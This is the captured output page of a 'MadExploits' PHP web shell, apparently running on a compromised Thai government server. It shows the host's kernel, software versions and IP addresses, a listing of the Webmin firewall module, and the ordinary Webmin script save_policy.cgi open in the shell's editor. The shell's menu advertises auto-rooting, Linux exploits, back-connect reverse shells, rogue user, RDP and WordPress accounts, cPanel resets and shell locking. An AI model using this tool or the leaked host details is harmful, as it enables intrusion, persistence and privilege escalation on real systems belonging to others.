Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
firewall /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
2.69
KB
-rw-r--r--
acl_security.pl
1.41
KB
-rwxr-xr-x
apply.cgi
512
B
-rwxr-xr-x
backup_config.pl
649
B
-rwxr-xr-x
bootup.cgi
600
B
-rwxr-xr-x
cgi_args.pl
430
B
-rwxr-xr-x
cluster.cgi
2.08
KB
-rwxr-xr-x
cluster_add.cgi
2.19
KB
-rwxr-xr-x
cluster_delete.cgi
651
B
-rwxr-xr-x
coherent-linux-lib.pl
1.54
KB
-rwxr-xr-x
config
83
B
-rw-r--r--
config.info
1.23
KB
-rw-r--r--
config.info.bg
1.51
KB
-rw-r--r--
config.info.bg.UTF-8
2.47
KB
-rw-r--r--
config.info.ca
1.48
KB
-rw-r--r--
config.info.ca.UTF-8
1.5
KB
-rw-r--r--
config.info.cz
948
B
-rw-r--r--
config.info.cz.UTF-8
1012
B
-rw-r--r--
config.info.de
1.45
KB
-rw-r--r--
config.info.de.UTF-8
1.45
KB
-rw-r--r--
config.info.fr
766
B
-rw-r--r--
config.info.fr.UTF-8
765
B
-rw-r--r--
config.info.ja_JP.UTF-8
421
B
-rw-r--r--
config.info.ja_JP.euc
362
B
-rw-r--r--
config.info.nl
1007
B
-rw-r--r--
config.info.nl.UTF-8
1006
B
-rw-r--r--
config.info.no
1.01
KB
-rw-r--r--
config.info.no.UTF-8
1.01
KB
-rw-r--r--
config.info.pl
1021
B
-rw-r--r--
config.info.pl.UTF-8
1.01
KB
-rw-r--r--
config.info.pt_BR
1.11
KB
-rw-r--r--
config.info.pt_BR.UTF-8
1.1
KB
-rw-r--r--
config.info.ru.UTF-8
1.36
KB
-rw-r--r--
config.info.ru_RU
934
B
-rw-r--r--
config.info.ru_RU.UTF-8
1.36
KB
-rw-r--r--
config.info.ru_SU
934
B
-rw-r--r--
config.info.sk
972
B
-rw-r--r--
config.info.sk.UTF-8
1021
B
-rw-r--r--
config.info.tr
858
B
-rw-r--r--
convert.cgi
756
B
-rwxr-xr-x
debian-linux-lib.pl
3.98
KB
-rwxr-xr-x
defaultacl
100
B
-rw-r--r--
edit_rule.cgi
14.47
KB
-rwxr-xr-x
firewall-lib.pl
15.09
KB
-rwxr-xr-x
firewall4-lib.pl
1.69
KB
-rwxr-xr-x
firewall6-lib.pl
1.65
KB
-rwxr-xr-x
gentoo-linux-lib.pl
722
B
-rwxr-xr-x
index.cgi
17.47
KB
-rwxr-xr-x
install_check.pl
575
B
-rwxr-xr-x
log_parser.pl
835
B
-rwxr-xr-x
mandrake-linux-lib.pl
1.69
KB
-rwxr-xr-x
module.info
207
B
-rw-r--r--
module.info.ca
149
B
-rw-r--r--
module.info.ca.UTF-8
162
B
-rw-r--r--
module.info.cz
24
B
-rw-r--r--
module.info.cz.UTF-8
30
B
-rw-r--r--
module.info.de
159
B
-rw-r--r--
module.info.de.UTF-8
171
B
-rw-r--r--
module.info.es
26
B
-rw-r--r--
module.info.es.UTF-8
32
B
-rw-r--r--
module.info.hu
32
B
-rw-r--r--
module.info.hu.UTF-8
39
B
-rw-r--r--
module.info.ja_JP.UTF-8
48
B
-rw-r--r--
module.info.ja_JP.euc
38
B
-rw-r--r--
module.info.ms_MY
164
B
-rw-r--r--
module.info.ms_MY.UTF-8
176
B
-rw-r--r--
module.info.nl
23
B
-rw-r--r--
module.info.nl.UTF-8
29
B
-rw-r--r--
module.info.no
23
B
-rw-r--r--
module.info.no.UTF-8
29
B
-rw-r--r--
module.info.pl
137
B
-rw-r--r--
module.info.pl.UTF-8
153
B
-rw-r--r--
module.info.pt_BR
26
B
-rw-r--r--
module.info.pt_BR.UTF-8
32
B
-rw-r--r--
module.info.ru.UTF-8
57
B
-rw-r--r--
module.info.ru_RU
39
B
-rw-r--r--
module.info.ru_RU.UTF-8
60
B
-rw-r--r--
module.info.ru_SU
39
B
-rw-r--r--
module.info.sk
24
B
-rw-r--r--
module.info.sk.UTF-8
30
B
-rw-r--r--
move.cgi
1.29
KB
-rwxr-xr-x
newchain.cgi
898
B
-rwxr-xr-x
open-ports.pl
3.4
KB
-rwxr-xr-x
redhat-linux-lib.pl
2.14
KB
-rwxr-xr-x
save_policy.cgi
7.15
KB
-rwxr-xr-x
save_rule.cgi
12.11
KB
-rwxr-xr-x
save_rule6.cgi
12.04
KB
-rwxr-xr-x
setup.cgi
9.36
KB
-rwxr-xr-x
setup6.cgi
8.12
KB
-rwxr-xr-x
trustix-linux-lib.pl
2.14
KB
-rwxr-xr-x
unapply.cgi
609
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_policy.cgi
#!/usr/bin/perl # save_policy.cgi # Change the default policy for some chain require './firewall-lib.pl'; &ReadParse(); if (&get_ipvx_version() == 6) { require './firewall6-lib.pl'; } else { require './firewall4-lib.pl'; } @tables = &get_iptables_save(); $table = $tables[$in{'table'}]; &can_edit_table($table->{'name'}) || &error($text{'etable'}); @d = split(/\0/, $in{'d'}); if ($in{'add'}) { # Redirect to the rule page for adding a rule &redirect("edit_rule.cgi?version=${ipvx_arg}&table=".&urlize($in{'table'}). "&chain=".&urlize($in{'chain'})."&new=1"); } elsif ($in{'delete'} && $in{'confirm'}) { # Delete this entire chain and all rules in it &lock_file($ipvx_save); $access{'delchain'} || &error($text{'delete_ecannot'}); $table->{'rules'} = [ grep { $_->{'chain'} ne $in{'chain'} } @{$table->{'rules'}} ]; delete($table->{'defaults'}->{$in{'chain'}}); &run_before_command(); &save_table($table); &run_after_command(); ©_to_cluster(); &unlock_file($ipvx_save); &webmin_log("delete", "chain", undef, { 'chain' => $in{'chain'}, 'table' => $table->{'name'} }); &redirect("index.cgi?version=${ipvx_arg}&table=".&urlize($in{'table'})); } elsif ($in{'clear'} && $in{'confirm'}) { # Delete all rules from this chain $access{'delchain'} || &error($text{'clear_ecannot'}); &lock_file($ipvx_save); $table->{'rules'} = [ grep { $_->{'chain'} ne $in{'chain'} } @{$table->{'rules'}} ]; &run_before_command(); &save_table($table); &run_after_command(); ©_to_cluster(); &unlock_file($ipvx_save); &webmin_log("clear", "chain", undef, { 'chain' => $in{'chain'}, 'table' => $table->{'name'} }); &redirect("index.cgi?version=${ipvx_arg}&table=".&urlize($in{'table'})); } elsif ($in{'delete'} || $in{'clear'}) { # Ask for confirmation on deleting the chain $mode = $in{'delete'} ? "delete" : "clear"; $access{'delchain'} || &error($text{$mode.'_ecannot'}); &ui_print_header($text{"index_title_v${ipvx}"}, $text{$mode.'_title'}, ""); @rules = grep { $_->{'chain'} eq $in{'chain'} } @{$table->{'rules'}}; print &ui_form_start("save_policy.cgi"); print &ui_hidden("version", ${ipvx_arg}); print &ui_hidden("table", $in{'table'}); print &ui_hidden("chain", $in{'chain'}); print &ui_hidden($mode, 1); print "<center><b>",&text($mode.'_rusure', "<tt>$in{'chain'}</tt>", scalar(@rules)),"</b><p>\n"; print &ui_submit($text{'delete_ok'}, 'confirm'); print "</center>\n"; print &ui_form_end(); &ui_print_footer("index.cgi?version=${ipvx_arg}&table=".&urlize($in{'table'}), $text{'index_return'}); } elsif ($in{'rename'} && $in{'newname'}) { # Rename a chain &lock_file($ipvx_save); $access{'delchain'} || &error($text{'rename_ecannot'}); $in{'newname'} =~ /^\S+$/ || &error($text{'new_ename'}); # Change the chain on each rule foreach $r (@{$table->{'rules'}}) { if ($r->{'chain'} eq $in{'chain'}) { $r->{'chain'} = $in{'newname'}; } } # Rename the default $table->{'defaults'}->{$in{'newname'}} = $table->{'defaults'}->{$in{'chain'}}; delete($table->{'defaults'}->{$in{'chain'}}); # Adjust any other rules if ($in{'adjust'}) { foreach $r (@{$table->{'rules'}}) { if ($r->{'j'} && $r->{'j'}->[1] eq $in{'chain'}) { $r->{'j'}->[1] = $in{'newname'}; } } } &run_before_command(); &save_table($table); &run_after_command(); ©_to_cluster(); &unlock_file($ipvx_save); &webmin_log("rename", "chain", undef, { 'chain' => $in{'chain'}, 'table' => $table->{'name'} }); &redirect("index.cgi?version=${ipvx_arg}&table=".&urlize($in{'table'})); } elsif ($in{'rename'}) { # Show chain rename form &ui_print_header($text{"index_title_v${ipvx}"}, $text{'rename_title'}, ""); print &ui_form_start("save_policy.cgi"); print &ui_hidden("version", ${ipvx_arg}); print &ui_hidden("table", $in{'table'}); print &ui_hidden("chain", $in{'chain'}); print &ui_hidden("rename", 1); print &ui_table_start($text{'rename_header'}, undef, 2); # Number of rules and old name @rules = grep { $_->{'chain'} eq $in{'chain'} } @{$table->{'rules'}}; print &ui_table_row($text{'rename_chain'}, $in{'chain'}); print &ui_table_row($text{'rename_count'}, scalar(@rules) || $text{'rename_none'}); # Destination chain print &ui_table_row($text{'rename_name'}, &ui_textbox("newname", undef, 20)); # Adjust other rules? print &ui_table_row(" ", &ui_checkbox("adjust", 1, $text{'rename_adjust'}, 1)); print &ui_table_end(); print &ui_form_end([ [ undef, $text{'rename_ok'} ] ]); &ui_print_footer("index.cgi?version=${ipvx_arg}&table=".&urlize($in{'table'}), $text{'index_return'}); } elsif ($in{'delsel'}) { # Just delete selected rules %idxs = map { $_, 1 } @d; &lock_file($ipvx_save); $table->{'rules'} = [ grep { $_->{'chain'} ne $in{'chain'} || !$idxs{$_->{'index'}} } @{$table->{'rules'}} ]; &run_before_command(); &save_table($table); &run_after_command(); ©_to_cluster(); &unlock_file($ipvx_save); &webmin_log("delsel", "chain", undef, { 'chain' => $in{'chain'}, 'table' => $table->{'name'}, 'count' => scalar(@d)}); &redirect("index.cgi?version=${ipvx_arg}&table=".&urlize($in{'table'})); } elsif ($in{'movesel'} && $in{'dest'}) { # Move selected rules to new chain %idxs = map { $_, 1 } @d; &lock_file($ipvx_save); # Change the chain on each rule foreach $r (@{$table->{'rules'}}) { if ($r->{'chain'} eq $in{'chain'} && $idxs{$r->{'index'}}) { $r->{'chain'} = $in{'dest'}; } } &run_before_command(); &save_table($table); &run_after_command(); ©_to_cluster(); &unlock_file($ipvx_save); &webmin_log("movesel", "chain", undef, { 'chain' => $in{'chain'}, 'table' => $table->{'name'}, 'count' => scalar(@d)}); &redirect("index.cgi?version=${ipvx_arg}&table=".&urlize($in{'table'})); } elsif ($in{'movesel'}) { # Show rule move form &ui_print_header($text{"index_title_v${ipvx}"}, $text{'move_title'}, ""); print &ui_form_start("save_policy.cgi"); print &ui_hidden("version", ${ipvx_arg}); print &ui_hidden("table", $in{'table'}); print &ui_hidden("chain", $in{'chain'}); print &ui_hidden("movesel", 1); foreach $d (@d) { print &ui_hidden("d", $d); } print &ui_table_start($text{'move_header'}, undef, 2); # Number of rules and source print &ui_table_row($text{'move_count'}, scalar(@d)); print &ui_table_row($text{'move_chain'}, $in{'chain'}); # Destination chain print &ui_table_row($text{'move_dest'}, &ui_select("dest", $in{'chain'}, [ grep { $_ ne $in{'chain'} } sort by_string_for_iptables (keys %{$table->{'defaults'}}) ])); print &ui_table_end(); print &ui_form_end([ [ undef, $text{'move_ok'} ] ]); &ui_print_footer("index.cgi?version=${ipvx_arg}&table=".&urlize($in{'table'}), $text{'index_return'}); } else { # Change the default for this chain $access{'policy'} || &error($text{'policy_ecannot'}); &lock_file($ipvx_save); $table->{'defaults'}->{$in{'chain'}} = $in{'policy'}; &run_before_command(); &save_table($table); &run_after_command(); ©_to_cluster(); &unlock_file($ipvx_save); &webmin_log("modify", "chain", undef, { 'chain' => $in{'chain'}, 'table' => $table->{'name'} }); &redirect("index.cgi?version=${ipvx_arg}&table=".&urlize($in{'table'})); }
Close